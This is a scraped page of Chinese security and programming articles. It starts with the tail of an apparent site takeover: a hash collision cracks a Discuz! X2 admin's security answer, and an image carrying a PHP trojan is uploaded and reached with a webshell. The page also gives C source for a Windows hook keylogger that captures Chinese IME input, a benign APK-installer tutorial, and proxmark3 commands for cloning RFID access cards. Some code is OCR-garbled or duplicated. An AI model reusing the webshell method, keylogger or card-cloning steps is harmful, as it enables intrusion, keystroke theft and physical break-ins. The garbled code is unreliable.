elseif($var==2) { return "爺爺的名字"; } elseif($var==3) { return "父親出生的城市"; } elseif($var==4) { return "您其中一位老師的名字"; } elseif($var==5) { return "您個人計算機的型號"; } elseif($var==6) { return "您最喜歡的餐館名稱"; } elseif($var==7) { return "駕駛執照最后四位數字"; } } ?>   我使用自己保存的 100M 大字典破解沒有成功。后來我把這個腳本放在了一朋友的服務 器上,然后用 superdic 生成了 3G 的大字典,直接丟在服務器上碰撞吧。其實我堅信,在 8 位的字母加數字的大字典中去做碰撞的話肯定會成功的。只是我沒有那么大的硬盤,只做了 6 位字母來測試。又經過一天后,等我登陸朋友的服務器 3389 之時,我發現得到了結果如圖 25: 我敢肯定,ufedys 肯定不是這個管理員的答案。于是 hash 相同,明文卻不相同的碰撞 終于成功了。我默默在心里說了聲:碰撞 V5。剩下的應該比較容易了,登入后臺,上傳一 個帶 php 一句話木馬的美女圖片。(不要告訴我,你在 discuz! X2 后臺找不到上傳的地方 啊)。然后利用類似這樣的 url: http://www.222.com/data/attachment/common/cf/212018txqnu4rcee3iek52.jpg/kyo.php 連接菜刀,就這樣徹底拿下了該目標。既然Webshell都拿到了,刪帖子這么簡單的事情還用我繼續說嗎?   后記   到這里,費時兩周的滲透也算是結束了,實戰過程中其實還遇到了更多的各種各樣問題, 只不過本文是后來補寫的,很多細節都忘卻了,但主要的東西都已經在文章中體現了。 最后我還是想提一提國內的安全現狀,不出事不代表你們沒有被入侵過,在我工作過的 這幾年,做了不少安全檢測,每次滲透測試拿到 shell 之時,大都發現有黑客進來的痕跡,這些還都是不知道打掃日志的菜鳥呢。安全圈內流傳一句話,只要有毅力沒有日不下來的站, 我深信之。以我這種菜鳥的水平,在別人給我目標時我都可以保證 50%的成功率,還用說國 內歸隱的各種日站大牛嗎? 所以最后要敬告國內的某些大公司,請善待網絡安全人才。另外在 2012 新的一年 里祝愿冰點極限的 2yue、kindle、小龍豬、老馬(Marcos)、lcx、np、孤水繞城、Beach、 順、安靜、alex、紫夜、cnbug 等好友們婚姻與事業雙豐收。 http://www.ionrce.tw/uploads/allimg/120416/1-120416205223C7-lp.jpg 入侵 滲透 破解 網站安全 admin 未知 2012-04-16 20:47 中文輸入截漢字原理探究 http://www.ionrce.tw/biancheng/20120415826.html 從N年前的微軟的蹩腳的智能abc輸入法到今天的各種方便的搜狗,QQ,百度輸入法,我們在使用計算機的時候輸入法為我們輸入中文提供了極大的便利。但是我們在使用這些五花八門的輸入 從N年前的微軟的蹩腳的智能abc輸入法到今天的各種方便的搜狗,QQ,百度輸入法,我們在使用計算機的時候輸入法為我們輸入中文提供了極大的便利。但是我們在使用這些五花八門的輸入法的時候有沒有想過,這些輸入法是如何將鍵盤的輸入轉換成漢字最終輸出到我們想要輸入的地方的?我們常常聽說鍵盤記錄,那么能否記錄經過輸入法處理過的中文輸入呢? 想要了解這個問題,首先得了解輸入法的輸入原理。 首先我們要知道什么是輸入法,我們經常用輸入法,但是你發現一個現象沒有,在任務 管理器中并沒有看到輸入法進程。輸入法的核心文件你找到安裝目錄就會發現一個后綴 是.ime的文件,你用十六進制查看器看看就會發現他其實是一個類似dll的模塊,當一個 進程打開輸入法要輸入漢字的時候其實就是載入了這個模塊,如下圖: 在這個模塊里進行文字的接收,處理,發送。 然后,我們要摸清輸入法的輸入原理,這個問題我探索了好久,發現微軟從windows 9x到Windows XP等NT5. 0以上版本還是有很大差別的。雖然我沒有驗證Windows 9X系統的輸入法處理過程,但是在試驗中發現關于9X的原理并不適用于NT5.0以上版本。首先看看各個版本的處理方法。 Windows 9x 系統 系統的鍵盤事件有windows的user.exe軟件接收后,user.exe在將鍵盤事件傳導輸入法管理器(input Meth0dManager,簡稱 IMM)中,管理器再將鍵盤事件傳到輸入法中,輸入法根據用戶編碼字典,翻譯鍵盤事件為對應的漢字(或漢字串),然后再反傳到user.exe中,user.exe再將翻譯后的鍵盤事件傳給當前正運行的應用程序,從而完成漢字的輸入。這個是windows 9x系統下的。 windows N4.0以上系統 這個是重點,以windows xp為例。 Windows xp系統下的輸入法和9x系統的輸入法有很大區別,對輸入法的處理完全不同。 先看一個例子: while((r=GetMessageff(&msg, 0,0,0))!=-l) { if(r==0)break; Trans1ateMessage(&msg); DispatchMessageW(&msg); } 這是一個消息循環,直到r等于0,表示有wm_quit,r=-1表示出錯,是系統從消息隊列中取消息的一般過程。那么輸入法是怎么回事呢? 我們可以用一些工具掛鉤窗口的消息來分析輸入法原理,這里直接給出結論。 一般情況下GetMessage得到WM_KEYDOWN的wParam是虛擬鍵碼,如果我們開了輸入法, teMessage,WM_KEYDOWN 的 wParam 虛擬碼是 VK_PROCESSKEY, TranslateK 生 WM_CHAR, WM_SYSCHAR 之類的,但是當 TranslateMessage 遇到了 VK_PROCESSKEY,就會有 特殊處理。這時候TranslateMessage就會把控制權交給DefWindowProc這個缺省的消息處理例程,DefWindowProc再通知輸入法程序的窗口,把那些候選的顯示出來,當你的你輸入 法將接受到的虛擬碼做一系列轉換以后合成相應的漢字,輸入法再將合成好的WM_CHAR用 PostMessage插入消息隊列,edit控件接受WM_CHAR顯示字符。如果你沒有開輸入法WM_CHAR 直接由WM_CHAR直接由TranslateMessage產生。 流程圖如下: 好了,到這里大家應該明白目前常見輸入法是如何工作的了,那么我們現在的目的是截 獲輸入法合成后的中文漢字。想必這時候思路就很明顯了,我們只要做一個系統鉤子,捕獲輸入法處理后發送到消息隊列的WM_CHAR消息之后就能夠實現相應的功能。但是值得注意的 是漢字是由漢字編碼組成的,占兩個字節,而鉤子子程一次只能傳送一個字節,下文我們講 處理方法。 至于系統鉤子的安裝,在此我就不做過多的贅述了,這個應該是一個非常普遍的技術, 隨便一本書上都能找到,我們直接看一些關鍵的程序段。 首先看一下鉤子的安裝: B00L WINAPI SetKeyHook(BOOL bInstall,DWORD dwThreadId) { BOOL bOk;  if(bInstall){ g_hHook=::SetWindowsHookEx(WH_GETMESSAGE, KeyHookProc, ModuleFromAddress( KeyHookProc),dwThreadId) ;//注意這呈安裝的是WH—GETMESSAGE類型鉤子。應用程序 使//用 WH—GETMESSAGE Hook 永監視從 GetMessage or PeekMessage 函數返回的消 息。//你岢以使用WH—GETMESSAGEHook去監視鼠標和鍵盤輸入,以及其他發送到消息//隊列中的消息。 bOk=(g_hHook!=NULL); } else { bOk=::UnhookWindowsHookEx(g_hHook); g_hHook=NULL; _ } return bOk; } 然后我們看一下鉤子子程,這個是重點。 int temp; int flag=0; LRESULT CALLBACK KeyHookProc(int nCode, WPARAM wParam, LPARAM lParam) {//各個參數的意義參看在線版的MSDN PMSG pcw=(PMSG)lParam;#p#分頁標題#e# FILE * fp; char szKey[80]={0}; fp=fopen Cc: \\Key. txt〃, 〃a+〃); if (wParam==PM_REMOVE)//該消息尚未從隊列中刪除。 { if(nCode==HC_ACTION) { if(pcw->message==WM_CHAR) { _ if (pcw->wParam<127) //英文 { szKey[0]=(TCHAR)(pcw->wParam); fwrite(szKey, sizeof(szKey), 1, fp); fputs(〃\r\n〃, fp); fclose(fp); } else //中文 {//這里需要注意了,漢字占兩個字節,而鉤子一次只能截一個字節, 所以//如果是中文,需要先把第一次的記錄存下來,第二次再次截獲后拼接起來,并且 順序是顛//倒的 if ((打&8%2)==0)//判斷為第一次 { temp=(pcw->wParam); } if ((打&8%2)==1)//判斷為第二次 { fputc(pcw->wParam, fp) ;//保存第二次的 fputc (temp, fp) ;//再保存第一次的 fclose(fp); flag++; 這就是完整的鉤子子程,經過多次實踐,需要將后截獲的編碼作為高字節,先截獲的作為低字節,這樣才能還原這個漢字。 此外平時我們看見的輸入法連打,有時能輸入一個詞有時能輸入一句話,其實是輸入法 本身做的一些手腳,其實處理的時候仍然是分解成單個字進行處理,所以我們的程序仍然能夠正常截獲。 好了到此我們的原理,目的都說清楚了,筆者旨在闡明輸入法的處理原理,所以附帶程序的健壯性有待考究,如有錯誤,歡迎指正。 http://www.ionrce.tw/uploads/allimg/120415/1-12041516122O27-lp.jpg 截漢字 輸入法原理 vc 各類編程 admin 未知 2012-04-15 16:10 詳解如何制作APK安裝器 http://www.ionrce.tw/biancheng/20120414825.html 為了方便安裝Android軟件,APK安裝器這類軟件在網上出現了,大家用的最多的可能 就屬 91 手機助手自帶的安裝器了。今天我們使用 C++動手來編寫一個這樣的工具,在開始 之前,我們有必 為了方便安裝Android軟件,APK安裝器這類軟件在網上出現了,大家用的最多的可能 就屬 91 手機助手自帶的安裝器了。今天我們使用 C++動手來編寫一個這樣的工具,在開始 之前,我們有必要了解一下APK文件是怎樣的方式安裝到用戶手機中的。細分起來, Android 程序的安裝有下面四種方式: 1.系統程序安裝:開機時安裝,這類安裝沒有安裝界面 2.通過 Market安裝:直接通過Market進行網絡安裝,這類安裝沒有安裝界面 3.ADB 工具安裝:使用ADB工具進行安裝,這類安裝沒有安裝界面 4.手機自帶安裝:通過SD卡里的 APK 文件安裝,這類安裝有安裝界面 這四種方法,仔細想想,我們能下手的就是通過 ADB 工具來安裝了,ADB(Android 調 試橋)是 Android SDK中為開發人員提供的一款強大的程序調試測試工具,集成了安裝,卸 載,調試,設備管理等多個功能,詳細的adb命令參數自己可以運行adb 得到。現在我們只 關心需要用到的功能。當 Android 手機設備使用 USB 調試模式連上計算機后,可以運行 adb.exe devices來列出連接上的設備,如圖1 所示為開啟一個Android模擬器后的截圖: 在設備已連接的情況下,可以直接運行 adb install <APK file>安裝一個 APK 程序或 運行 adb -s <serial number> install <APK file>來對指定的設備進行軟件安裝,后者是 在連接多個設備的情況下才用的,我們這里為了簡單就不考慮了,安裝效果如圖2所示 在經過一小段時間的等待后,提示Success說明安裝成功,不過在實際安裝的過程中, 有時候 adb返回后沒有Success提示但程序也安裝成功了,這讓人很郁悶,因為這樣就無法 捕獲 APK 是否已經正確安裝了,為了簡化,我直接返回成功了。 APK 程序的卸載也很簡單,輸入adb uninstall <package>就可以了,這里的package 是軟件的包名,每個APK程序安裝后有個APK程序名,也有個包名,我們可以通過獲取APK 文件里面的信息來獲取這個包名。卸載效果如圖3所示: 如果輸入的package在手機中不存在的話,會返回如圖4所示的結果 這樣就可以通過查看返回的數據里面有無Failure來判斷APK是否成功卸載。到這里, 我們可以完成手機是否已經正常連接、安裝、卸載等功能了,我們繼續看看如何獲取 APK 文件本身的信息,我們通常見到的APK 安裝器都可以顯示APK文件的軟件名、包名、文件大 小、最低系統版本、權限等數據。這些數據的獲取可以通過運行AAPT.exe來獲取,AAPT 是 Android SDK中提供的另外一個工具,它提供了對APK進行信息列舉、文件添加、文件刪除 及資源打包到APK 等功能。我們要用到的是它的 dump 命令,如圖5 所示: 我們只需運行aapt d badging <APK file>就可以獲取一個APK的詳細信息,如圖6所示: 這里的“package:name=”就是軟件的包名,“versionName”就是軟件的版本, “application: label”就是軟件對外顯示的名稱,“icon=”就是軟件顯示的圖標, “uses-permission:”就是軟件用到的權限,這些權限有一部分是流氓及病毒軟件需要用到 的,在安裝 APK 之前,我們有必要查看它所需的權限來對它的危險度進行粗略的判斷, “sdkVersion:”就是軟件運行允許的Android最低版本,這里的數字7表示是 Android2.1 系統,不同版本的 Android 都有相應數字版本號,截止到最新的 Android4.0版本它們的對 應關系如表1 所示: 還有一種情況,當APK文件名無效或非法的APK文件的時候, aapt d badging <APK file> 會返回錯誤信息,如圖7所示: 這可能是 AAPT 處理上的一個 BUG, 我們將文件名改成普通英文名后即可正常返回 APK#p#分頁標題#e# 文件信息,所以,大家在安裝APK程序的時候,請將 APK 文件名改成英文并且不要包含空格。  本來 AAPT與 ADB 這兩個工具在 Android 源碼中都可以找到,但是提取所需相關功能出 來還絕非易事,研究了一下果斷的放棄了,不過從技術研究的角度出發,我覺得大家還是可 以深入研究的。整個APK安裝器的思路就是通過CreateProcess調用 AAPT 與ADB 進行相應 的操作,而返回數據的獲取我用到了管道,使用 CreatePipe 創建讀句柄,在父進程中通過 ReadFile來讀取數據。 介紹到這里,我們需要的信息都已經獲取了,下面是代碼時間。APK 文件的操作我封裝 進了 CAPKHeaper類,類的聲明如下: class CAPKHelper { protected:   map<string,string> m_mapPermission;   string m_adbPath;   string m_aaptPath;   string m_apkName;   string m_softName;   string m_PkgName; string m_Version;   string m_OSVersion;   string m_FileSize;   string m_Permission;   string m_iconFile; public:   CAPKHelper(const char *aaptPath, const char *adbPath, const char* apkFile);   ~CAPKHelper(void); protected:   const string PrePare(APKFTyte flag);  //準備命令字符串   const string DoCommand(const string cmd); //執行命令并返回結果   void InitPermissionMap(); public:   void AdbPath(const char* val);   void AaptPath(const char* val);   const char* ApkName() const;   void ApkName(const char * val);   const char* AdbPath() const;   const char* AaptPath() const;   const char* Permission() const ;   const char* AppName() const;   const char* PkgName() const;   const char* Version() const;   const char* OSVersion() const;   const char* FileSize() const;   void GetInfo();   BOOL GetDevices();   BOOL Install(BOOL bSDCard);   BOOL UnInstall();   void UnzipIcoFile(string outPath); }; 設備的檢查使用GetDevices()方法,信息的獲取使用GetInfo()方法,安裝與卸載則分 別是 BOOL Install(BOOL bSDCard)與BOOL UnInstall(),看看GetDevices()的代碼如下 BOOL CAPKHelper::GetDevices() {   string str;   str = DoCommand(PrePare(APKF_DEVICES));   string::size_type posbegin;   posbegin = str.find(devices); if (posbegin == string::npos) return false;   else   {     posbegin = posbegin + devices.size();         string strDevice = "";     strDevice.assign(str, posbegin, str.size()-posbegin);     posbegin = strDevice.find("device");     if(posbegin == string::npos)       return false;   }   return true; } 代碼首先通過PrePare(APKF_DEVICES)來獲取需要執行的命令字符串,不同的命令類型 用了一個枚舉量來表示: typedef enum tagApkFType{//flags for PrePare   APKF_INFO,   APKF_DEVICES,   APKF_INSTALL,   APKF_INSTALLSDCARD,   APKF_UNINSTALL } APKFTyte; 獲取命令后通過DoCommand()來執行并返回執行結果,然后對結果進行處理。接下來看 看PrePare的代碼: const string CAPKHelper::PrePare( APKFTyte flag ) {   string cmd = "";   switch (flag)   {   case APKF_INFO:     if(m_apkName.empty() || m_aaptPath.empty()) return "";     cmd = m_aaptPath + " d badging \"" + m_apkName + '"';     break;   case APKF_DEVICES:     if(m_adbPath.empty()) return "";     cmd = m_adbPath + " devices ";     break;   case  APKF_INSTALL:     if(m_apkName.empty() || m_adbPath.empty()) return "";     cmd = m_adbPath + " install \"" + m_apkName + '"';     break; case APKF_INSTALLSDCARD: if(m_apkName.empty() || m_adbPath.empty()) return "";     cmd = m_adbPath + " install -s \"" + m_apkName + '"';     break;   case  APKF_UNINSTALL:     if(m_appName.empty() || m_adbPath.empty()) return "";     cmd = m_adbPath + " uninstall " + m_PkgName;#p#分頁標題#e#     break;   default:     return "";     break;   }   return cmd; } 這個方法很簡單,就不多講了,類的執行核心在DoCommand中,代碼如下: const string CAPKHelper::DoCommand( const string cmd ) {   STARTUPINFO si;   SECURITY_ATTRIBUTES sa;   PROCESS_INFORMATION pi;   string str="";   char ReadBuf[1024] = {0};   DWORD ReadNum;   HANDLE hRead; // 管道讀句柄   HANDLE hWrite; // 管道寫句柄   sa.nLength = sizeof(SECURITY_ATTRIBUTES);   sa.bInheritHandle = true;   sa.lpSecurityDescriptor = NULL;   BOOL bRet = CreatePipe(&hRead, &hWrite, &sa, 0); // 創建匿名管道   if(!bRet) return "";   GetStartupInfo(&si);   si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;   si.wShowWindow = SW_HIDE;   si.hStdOutput = hWrite;   si.hStdError = hWrite;   si.hStdInput = hRead;   bRet = CreateProcess(NULL, (char *)cmd.c_str(), NULL, NULL,          true, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);   if (!bRet)   {     CloseHandle(hRead);     CloseHandle(hWrite);     return "";   } CloseHandle(hWrite);   WaitForSingleObject(pi.hProcess, 3000); //等待執行返回   while(ReadFile(hRead, ReadBuf, sizeof(ReadBuf)-1, &ReadNum, NULL))   {     ReadBuf[ReadNum] = '\0';     str = str + ReadBuf;   } str = utf2ansi(str.c_str(), str.size());   CloseHandle(hRead);   CloseHandle(pi.hProcess);   CloseHandle(pi.hThread);   return str; } 這段代碼是典型的 WIN32 代碼,首先通過 CreatePipe()創建管道,設置子進程的讀寫 句柄,然后創建子進程并獲取返回信息,在這里需要注意的是AAPT返回的是 UTF-8 編碼的 字符串,如果APK 軟件名為中文的話我們直接獲取的話在程序中就會顯示為亂碼,所以需要 加上這行代碼:str = utf2ansi(str.c_str(), str.size()),它的作用就是將UTF8格式編 碼的字符串轉換為ANSI編碼: std::string utf2ansi(LPCSTR pszSrc, int nLen) {   int nSize = MultiByteToWideChar(CP_UTF8, 0, (LPCSTR)pszSrc, nLen, 0, 0);   if(nSize <= 0) return NULL;   WCHAR *pwsz = new WCHAR[nSize+1];   if( NULL == pwsz) return NULL;   MultiByteToWideChar(CP_UTF8, 0,(LPCSTR)pszSrc, nLen, pwsz, nSize);   pwsz[nSize] = 0;   char *psz = new char[nSize+1];   WideCharToMultiByte(CP_ACP, 0, pwsz, nSize, psz, nSize, NULL, NULL);   string str = psz;   delete pwsz;   delete psz;   return str; } GetInfo()、Install()、Uninstall()對返回的數據進行分析并給出最終的執行結果, Install()與 Uninstall()代碼很簡單,就不列舉了,大家可以看已查看源碼,具體的說說 GetInfo(),它的處理還是相對較難的,GetInfo()通過DoCommand()接收到類似圖6的數據 并進行提取,然后設置到類的相應成員當中,為了使字符串操作簡化,我使用了基于 STL 模板類中的 string 類,這個類很強大,提供了字符串除正則表達式外的一切操作,這使得 GetInfo()的代碼量更少更美觀,截取一段處理代碼如下:   CloseHandle(hWrite);   WaitForSingleObject(pi.hProcess, 3000); //等待執行返回   while(ReadFile(hRead, ReadBuf, sizeof(ReadBuf)-1, &ReadNum, NULL))   {     ReadBuf[ReadNum] = '\0';     str = str + ReadBuf;   } str = utf2ansi(str.c_str(), str.size());   CloseHandle(hRead);   CloseHandle(pi.hProcess);   CloseHandle(pi.hThread);   return str; } void CAPKHelper::GetInfo() {   string str;   str = DoCommand(PrePare(APKF_INFO));   string::size_type posbegin;   string::size_type posend; posbegin = str.find(errorstr);    //APK文件是否有效   if (posbegin != string::npos)   {     m_softName = "";     m_PkgName = "";     m_iconFile = "";     m_Version = "";     m_OSVersion = "";     m_FileSize = "";#p#分頁標題#e#     m_Permission = "";     return;   }    posbegin = str.find(softName);   if (posbegin == string::npos)     m_softName = "";   else   {     posbegin = posbegin + softName.size();     posend = str.find('\'', posbegin);     m_softName.assign(str, posbegin, posend-posbegin);  //獲取APK 的軟件 對外顯示名稱   }   posbegin = str.find(pkgName);   if (posbegin == string::npos)     m_PkgName = "";   else   {     posbegin = posbegin + pkgName.size();     posend = str.find('\'', posbegin);     m_PkgName.assign(str, posbegin, posend-posbegin);  //獲取 APK 的軟件 包名稱   } ...... ...... HANDLE hApk = CreateFile(m_apkName.c_str(), GENERIC_READ,              FILE_SHARE_READ,   NULL,              OPEN_EXISTING,              FILE_ATTRIBUTE_NORMAL,              NULL );   if(hApk == INVALID_HANDLE_VALUE) m_FileSize = "";   else   {     DWORD dwSize = GetFileSize(hApk, NULL);     DOUBLE fSize = 0;     string strend = "";     if (dwSize >= 1024*1024)     {       fSize = dwSize * 1.0 / 1024 / 1024;       strend = "MB";     }     else if (dwSize >= 1024)     {       fSize = dwSize * 1.0 / 1024;       strend = "KB";     }     else     {       fSize = dwSize;       strend = "字節";     }     char buf[16] = {0};        m_FileSize = _gcvt(fSize, 3, buf);     m_FileSize += strend;     CloseHandle(hApk);   }   posbegin = str.find(iconfile);   if (posbegin == string::npos)     m_OSVersion = "";   else {     posbegin = posbegin + iconfile.size();     posend = str.find('\'', posbegin);     m_iconFile.assign(str, posbegin, posend-posbegin);    } } 使用string類的find方法對特征字符串進行查找,特征字符串在上面講解ADB與AAPT 時有用到,它們分別是: const string errorstr = "ERROR: dump failed"; const string appName = "application: label='"; const string pkgName = "package: name='"; const string version = "versionName='"; const string osversion = "sdkVersion:'"; const string permission = "uses-permission:'"; const string iconfile = "icon='"; const string devices = "List of devices attached"; 如果找到相應的特征字符串就提取相應的值并設置相應的成員變量,反之則設為空。權 限字符串的處理是比較麻煩的,查找permission 會返回一系列以 "uses-permission:'"打 頭的字符串,而我們程序需要顯示的是權限的描述,為此,我將這些權限與之對應的描述創 建到了一個STL的 Map 對象中,map<string,string> m_mapPermission,而初始化的操作封 裝到了 InitPermissionMap()中,代碼如下: void CAPKHelper::InitPermissionMap() {   m_mapPermission.clear();   m_mapPermission.insert(pair<string,string>("android.permission.ACCESS_COARS E_LOCATION","允許獲取粗略的位置信息"));   m_mapPermission.insert(pair<string,string>("android.permission.ACCESS_FINE_ LOCATION","允許訪問GPS"));   ...... ......   m_mapPermission.insert(pair<string,string>("android.permission.ACCESS_MOCK_ LOCATION","獲取模擬定位信息"));   m_mapPermission.insert(pair<string,string>("android.permission.CHANGE_COMPO NENT_ENABLED_STATE","改變組件啟用狀態"));#p#分頁標題#e# } 這樣訪問權限描述就很簡單了,代碼如下:   string strTmp = "";   string strInfo = "";   posbegin = 0;   while((posbegin = str.find(permission, posbegin)) != string::npos)   {     posbegin = posbegin + permission.size();     posend = str.find('\'', posbegin);     strTmp.assign(str, posbegin, posend-posbegin);  //獲取APk使用到的權限     strInfo = m_mapPermission[strTmp];     if(!strInfo.empty())       m_Permission = m_Permission + strInfo + '\n';       posbegin = posend; //下一個   } 這個CAPKHeaper類就講到這里,大家可以在代碼中查看類關系圖更詳細了解它的流程, 我們接下來看看主程序的邏輯,先看看程序設計的界面,如圖8 所示: 程序的編寫基于MFC的對話框,我們看看安裝按鈕的響應: void CAPKInstallerDlg::OnBnClickedInstall() {   if(!m_helper->GetDevices())   {     m_syslnkShow.SetWindowText(" 手機未連接或手機驅動沒有安裝好 ,<a href=“http://www.ionrce.tw/”>點擊此處</a>下載驅動");     return;   }   if(m_apkPath.empty())     OpenAPK();   if(m_apkPath.empty()) return;   m_threadType = THREADF_INSTALL;   unsigned int dwThreadID = 0;   HANDLE h = (HANDLE)_beginthreadex(NULL, 0,      ThreadProc, (LPVOID)this, 0, &dwThreadID); } 線程的創建使用了 WIN32 的_beginthreadex(),所有對 APK 的操作都封裝進這個 ThreadProc()線程中,代碼如下: unsigned __stdcall CAPKInstallerDlg::ThreadProc( LPVOID lpParam ) {   EnterCriticalSection(&g_cs);   CAPKInstallerDlg * pWnd = (CAPKInstallerDlg *)lpParam;   switch (pWnd->m_threadType)   {   case THREADF_DEVICES:     pWnd->m_syslnkShow.SetWindowText("正在檢查已連接的手機");     if(pWnd->m_helper->GetDevices())     {       pWnd->m_syslnkShow.SetWindowText("手機連接良好");       }     else     {       pWnd->m_syslnkShow.SetWindowText("手機未連接或手機驅動沒有安裝好,<a href=\http://www.ionrce.tw>點擊此處</a>下載驅動");     }     break;   case THREADF_INSTALL:     pWnd->m_btnUninstall.EnableWindow(FALSE);     pWnd->m_syslnkShow.SetWindowText("正在安裝軟件...");      61     pWnd->m_helper->Install(pWnd->m_cbPath.GetCurSel());     pWnd->m_syslnkShow.SetWindowText("軟件安裝完成");     pWnd->m_btnUninstall.EnableWindow(TRUE);     break;   case THREADF_UNINSTALL:     pWnd->m_btnInstall.EnableWindow(FALSE);     pWnd->m_syslnkShow.SetWindowText("正在卸載軟件...");     if(pWnd->m_helper->UnInstall())     {       pWnd->m_syslnkShow.SetWindowText("軟件卸載完成");     }     else     {       pWnd->m_syslnkShow.SetWindowText("軟件卸載失敗");     }     pWnd->m_btnInstall.EnableWindow(TRUE);     break;   }   LeaveCriticalSection(&g_cs);   return 1; } 各種操作信息的顯示我使用了 syslink 控件,使用它的一個好處就是這個控件支持如 html的鏈接一樣的顯示效果,它們的鼠標點擊處理代碼統一如下: void CAPKInstallerDlg::OnNMClickLinkurl(NMHDR *pNMHDR, LRESULT *pResult) {   PNMLINK pNMLink = (PNMLINK)pNMHDR;   wstring wstr = pNMLink->item.szUrl;    string str = wstring2string(wstr);   ::ShellExecute(m_hWnd, "open", str.c_str(), NULL, NULL, SW_SHOWNORMAL);   *pResult = 0; } 注意這行:wstring wstr = pNMLink->item.szUrl,syslink 點擊消息返回的鏈接地址#p#分頁標題#e# 為 WCHAR*類型,這使用我們使用前需要先轉換一下: string wstring2string(const wstring& ws) {   _bstr_t t = ws.c_str();   char* pchar = (char*)t;   string result = pchar;   return result; } 說說APK 文件圖標的獲取,在上面圖6顯示的信息中,就能夠知道 APK圖標的文件名與 位置,而這個文件存放在 APK 這個 ZIP 包中,AAPT 不提供 ZIP 解壓的功能,需要自己來提 取APK中的文件,這里為了代碼輕便使用了XUNZIP類,獲取圖標并解壓的工作放到了void UnzipIcoFile(string outPath)方法中: void CAPKHelper::UnzipIcoFile( string outPath) {   HZIP hZip = OpenZip((void*)(char*)m_apkName.c_str(), 0, ZIP_FILENAME);   int index = -1;   ZIPENTRY ze;   ZRESULT bRet = FindZipItem(hZip, m_iconFile.c_str(), TRUE, &index, &ze);   if (bRet == ZR_OK)   {     UnzipItem(hZip, index, (void*)outPath.c_str(), 0, ZIP_FILENAME);   }   CloseZip(hZip); } 在主程序中處理如下: char szBuffer[MAX_PATH] = {0}; GetTempPath(MAX_PATH, szBuffer); m_outpngPath = szBuffer; m_outpngPath += m_helper->PkgName(); m_outpngPath += m_helper->Version(); m_outpngPath += ".png";   //APK文件圖標釋放路徑 m_helper->UnzipIcoFile(m_outpngPath.c_str()); ShowPNG();  //顯示圖標 最后調用 ShowPNG()來顯示圖標,一般 APK中的圖標為PNG,在VC 中顯示 PNG使用GDI+ 再方便不過了,代碼如下: void CAPKInstallerDlg::ShowPNG() {   if (!m_outpngPath.empty())   {     wstring str = string2wstring(m_outpngPath);     Image image(str.c_str());     RECT rc;     m_stcPic.GetWindowRect(&rc);     m_pGraphics->DrawImage(&image, 0, 0,  rc.right-rc.left,  rc.bottom-rc.top);   } } 但是直接顯示 PNG 后,程序如果被刷新圖片就不再顯示了,因此我們需要在 WM_PAINT 消息中做進一步的處理: void CAPKInstallerDlg::OnPaint() {   if (IsIconic())   { CPaintDC dc(this); // 用于繪制的設備上下文   SendMessage(WM_ICONERASEBKGND,  reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);     // 使圖標在工作區矩形中居中     int cxIcon = GetSystemMetrics(SM_CXICON);     int cyIcon = GetSystemMetrics(SM_CYICON);     CRect rect;     GetClientRect(&rect);     int x = (rect.Width() - cxIcon + 1) / 2;     int y = (rect.Height() - cyIcon + 1) / 2;     // 繪制圖標     dc.DrawIcon(x, y, m_hIcon);   }   else   {     CDialog::OnPaint();     CDialog::UpdateWindow();     ShowPNG();   } } 在調用 ShowPNG()之前,CDialog::UpdateWindow()這行代碼一定要先加上,否則圖標 照樣不會顯示,好了,整體上程序代碼很簡單,一目了然,到這里我們的程序就算是完成了, 看看運行效果如下圖: http://www.ionrce.tw/uploads/allimg/120414/1-1204141935141T-lp.jpg ADB APK APK安裝器 Android技術 各類編程 admin 未知 2012-04-14 19:31 門禁卡設備安全(Hardware Hack NFC) http://www.ionrce.tw/xitonganquan/20120413824.html 物聯網發展如火如荼,給生活帶來便利的同時也悄悄的留下了不少安全隱患。剛看了碟 中諜 4里面很多炫酷的高科技技術讓人難以忘記,其中經常看到的莫過于特工們進入任何一 個房間 物聯網發展如火如荼,給生活帶來便利的同時也悄悄的留下了不少安全隱患。剛看了碟 中諜 4里面很多炫酷的高科技技術讓人難以忘記,其中經常看到的莫過于特工們進入任何一 個房間,都可用一款特殊設備來打開門禁。電影終歸電影,那在現實生活中會不會發生這樣 的事情呢? 首先,通過一段時間的研究,我們發現基于 RFID 技術的門禁系統確實存在著一些安全 隱患,攻擊門禁的方法基本如下幾種: 1、嗅探通訊數據 2、模擬門禁卡 3、復制門禁卡 4、中間人攻擊等等 下面我們以ID卡門禁系統為例,給大家說說這幾種攻擊方法。ID卡門禁系統是比較常 見的,安裝方便、成本低、使用方便,很多中小寫字樓、小區都使用該系統。常見的門禁控 制器如下圖: 這樣的門禁系統主要有三部分組成:門禁控制器、門禁卡、鎖系統。原理是這樣的,門 禁控制器中存儲了可開鎖的門禁卡數據(相當于白名單),當使用門禁卡靠近門禁控制器時, 門禁控制器中的讀卡模塊讀取門禁卡數據,然后查詢白名單,如果卡數據在白名單中則打開 鎖系統,如果遍歷白名單后沒有查詢到結果則關閉鎖系統。 常見的 ID門禁卡從外型上看有三種:薄卡、厚卡、紐扣卡。 下面開始說說ID 卡安全測試: 一、讀取 ID 卡數據 要進行攻擊的首要條件就是先獲得ID 卡里面的數據信息。首先介紹一款RFID測試的神 器——proxmark3。 下面秀一下我包裝好: proxmark3設備幾乎可以做任何涉及低頻(125KHz)和高頻(13.56MHz)的RFID 通信。  •讀取數據——作為一個讀卡器,讀取ID、IC卡數據。 •嗅探監聽——監聽讀卡器和卡之間的通信,記錄通信的內容。 •卡模擬——偽裝自己是標簽本身。 作為一個讀卡器,可以讀取低頻和高頻的標簽。作為一個監聽設備,監聽讀卡器和卡片 的通信,是 RFID 射頻開發的有力工具,類似電路開發的示波器。作為卡模擬器,可以模擬 成低頻或者高頻的卡片,自己設備卡片的內容。 有了這樣一款神奇,接下來就是獲取數據了。關于 proxmark 的安裝和使用技巧在以后 的文章中我會詳細介紹,現在主要說下讀取 ID 卡數據的方法。我們用來做測試的是一張 EM4100 的卡片(我的飯卡哦^_^),使用命令“em410xwatch”即可對卡片進行讀取,幾秒鐘 后即可獲得數據,如下圖: 可以看到卡號是:030031fb2a 獲得了卡中的數據即可實施下面的攻擊了。 二、信號模擬 獲得了數據后即可用設備來模擬ID卡了,模擬ID卡的設備結構比較簡單,有興趣的便 宜可以自己DIY一個,這里我們還是用proxmark來進行模擬。 在 proxmark的低頻指令中可以找到命令“em410xsim”,模擬的方法是 命令“lf em4x em410xsim 030031fb2a”就是模擬卡號為 030031fb2a 的 ID 卡,這時 